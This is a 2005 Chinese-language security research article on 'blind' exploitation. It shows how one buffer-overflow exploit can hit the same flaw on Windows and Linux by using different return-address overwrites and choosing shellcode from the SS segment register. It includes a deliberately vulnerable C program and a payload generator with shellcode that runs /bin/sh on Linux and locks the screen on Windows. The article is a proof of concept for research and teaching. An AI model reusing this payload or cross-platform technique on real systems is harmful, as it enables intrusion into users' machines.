One Exploit Play More OS
2005-08-27
tombkeeper[0x40]nsfocus.com
tombkeeper[0x40]xfocus.org
[摘要]
本文以Windows和Linux两个环境为例,介绍用一个Exploit 代码攻击多种操作系
统的“盲打”技术。
[正文]
最近一两年,针对客户端的攻击开始受到人们关注,因为攻击个人电脑所能获得
的数据,往往比从服务器中得到的价值更大。
在这个背景下,一些人开始选择非主流的客户端软件产品,甚至更换操作系统。
我周围的朋友中,有很多开始使用Firefox,使用Gaim,使用ThunderBird,甚至将工
作平台迁移到Linux和Mac OS X上。
非主流软件和系统安全问题不见得比主流的少,但是作为客户端来说,在安全上
有一个先天的优势:攻击服务器的时候,入侵者可以用各种技术手段判断目标的操作
系统、硬件架构等信息,但是在攻击客户端的时候,则没有这样的机会。
举个例子:很多软件都或明或暗地使用LibPNG来处理图片,所以LibPNG的tRNS溢
出影响面很广,有跨平台的,也有单一平台的,有开源的也有不开源的——包括微软
MSN Messenger。
假使入侵者打算用这个漏洞来攻击某人,却不知道这个人的系统是 Windows还是
Linux、Mac OSX……当然,如果攻击的目标是一个普通用户,那么最符合概率的做法
是用一个针对Windows的Exploit,但如果对象是一个很可能在使用Linux 的人,错误
的判断只会使对方应用程序崩溃,从而变得警惕起来。
那么,能否用一个Exploit就可以攻击多种操作系统上存在同一种漏洞的程序呢?
乍一想似乎很难,真的做起来就会发现其实非常简单。只需要解决两个问题:
1、如何取得控制权?
在Linux 上,由于栈地址相对固定,而且高位不包含0x00,所以可以将返回地址
覆盖为硬编码的栈地址,再在ShellCode前加上大量NOP指令,来保证硬编码地址基本
上一定会落在我们控制的范围内。
Windows 的栈地址很不固定,而且一般高位都是0x00,所以多数用跳转地址覆盖
返回地址来取得控制权。
由于编译器、代码等方面的差异,不同操作系统的上同一漏洞的溢出点位置一般
不会相同。那么我们可以分别在两个溢出点上使用上述的两种办法来取得控制权。
即使不凑巧,两边的溢出点位置完全相同,我们仍然有很大的可能实现通用。因
为大多数Windows溢出都发生在SEH所保护的代码块中,除了覆盖返回地址外,还有一
个覆盖SEH指针的机会。在这种情况下,我们可以在返回地址的位置放上Linux的覆盖
代码,在SEH指针的位置放上Windows的覆盖代码。
2、如何在ShellCode中识别操作系统?
假使Exploit 对Windows使用了跳转地址的方法,对Linux使用了硬编码栈地址的
方法,那么可能并不需要靠ShellCode来识别操作系统。整个溢出数据类似这样:
AAAAAAAAA…… //填充缓冲区
0x11223344 //Windows JmpEsp的地址
jmp WinShellCode
nop
……
0xAABBCCDD //Linux 硬编码的栈地址
nop
nop
nop
……
但是不管怎样,在ShellCode 前加一段识别操作系统的代码是更可靠的做法。
至少在Windows NT和Linux家族的各个版本中,段寄存器的值总是固定的:
+---------+--------+--------+--------+--------+--------+--------+
| | CS | SS | DS | ES | FS | GS |
+---------+--------+--------+--------+--------+--------+--------+
| Windows | 0x1b | 0x23 | 0x23 | 0x23 | 0x38 | 0x00 |
+---------+--------+--------+--------+--------+--------+--------+
| Linux | 0x73 | 0x7b | 0x7b | 0x7b | 0x00 | 0x33 |
+---------+--------+--------+--------+--------+--------+--------+
所以,我们可以用这个特性来判断操作系统:
mov ax,ss //取出ss的值
cmp al,0x23 //看看是否符合Windows的特征
je WinShellCode //如果符合就跳到WindowsShellCode去执行
LinuxShellCode:
…………
WindowsShellCode:
…………
为了验证这个想法,我写了vul.c和exp.c。测试环境是Windows 2000 SP4中文版
和Linux Kernel 2.6.9。编译器是VC 6 SP6和gcc 3.4.3。
vul.c是一个有问题的代码,从exp.bin中读取数据,拷贝到0x20大小的缓冲区里。
exp.c产生攻击代码,输出到标准输出。
我不懂Linux,exp.c中使用的LinuxShellCode是从WaterCloud的《溢出利用程序
和编程语言大杂烩》中拷贝来的,功能是执行/bin/sh。
WindowsShellCode 只是简单地调用了一下NtLockWorkStation,也就是实现锁屏。
0x11b9是Windows 2000的NtLockWorkStation调用号,在Windows XP上应该用0x11c9。
如果你愿意,完全可以替换成其它任何ShellCode。
在任意平台上编译exp.c,然后运行,并将输出定向到exp.bin。然后分别用VC和
gcc 在Windows 2000和Linux上编译vul.c。将exp.bin拷贝到vul.c编译输出的程序所
在目录下,然后执行vul.c 编译出的程序。在Windows上,会导致锁屏;在linux上,
会执行/bin/sh。
上面说的都是x86架构的情况,如果目标是PowerPC架构的Mac OS X,情况会更复
杂一点,不过也不是不可能。Phrack 57中的《Architecture Spanning Shellcode》
站在纯ShellCode的角度讨论了构造“Magic String”,是一篇很好的文章。
感谢newchess帮我确认Linux各版本段寄存器的值都是固定的这一信息;感谢san
和stardust教我用gdb;感谢WaterCloud的ShellCode。
[例子代码]
//------------------------------------------------------------------------
//vul.c
#include <stdlib.h>
#include <stdio.h>
#ifdef _WIN32
#include <Windows.h>
#endif
void VulFunc( void )
{
char SmallBuff[0x20];
//fread( SmallBuff, sizeof(char), 0x1000, stdin );
fread( SmallBuff, sizeof(char), 0x1000, fopen("exp.bin", "r") );
}
int main(void)
{
#ifdef _WIN32
LoadLibrary("user32.dll"); //load for NtLockWorkStation
#endif
VulFunc();
printf("no buffer overflow !\n");
return 0;
}
//------------------------------------------------------------------------
//exp.c
#include <stdlib.h>
#include <stdio.h>
char Payload[] =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"\xE3\x1B\xF8\x77" //0x77f81be3,Windows 2000上jmp esp地址
"\xEB\x20" //往后跳0x20
"HH"
"\xC0\xF7\xFF\xBF" //硬编码的Linux栈地址
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH" //0x48 dec eax,我喜欢用这个当NOP
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
"\x66\x8C\xD0" //mov ax,ss
"\x3C\x23" //cmp al,0x23
"\x74\x23" //je WindowsShellCode
//LinuxShellCode:
"1\xC0PPP[YZ4\xD0\xCD\x80"
"j\x0BX\x99Rhn/shh//biT[RSTY\xCD\x80"
//WindowsShellCode:
"\x31\xC0" //xor eax,eax
"\x66\xB8\xB9\x11" //mov ax,0x11b9
"\xCD\x2E" //int 0x2e
;
int main( void )
{
fwrite( Payload, sizeof(char), sizeof(Payload)-1,stdout);
return 0;
}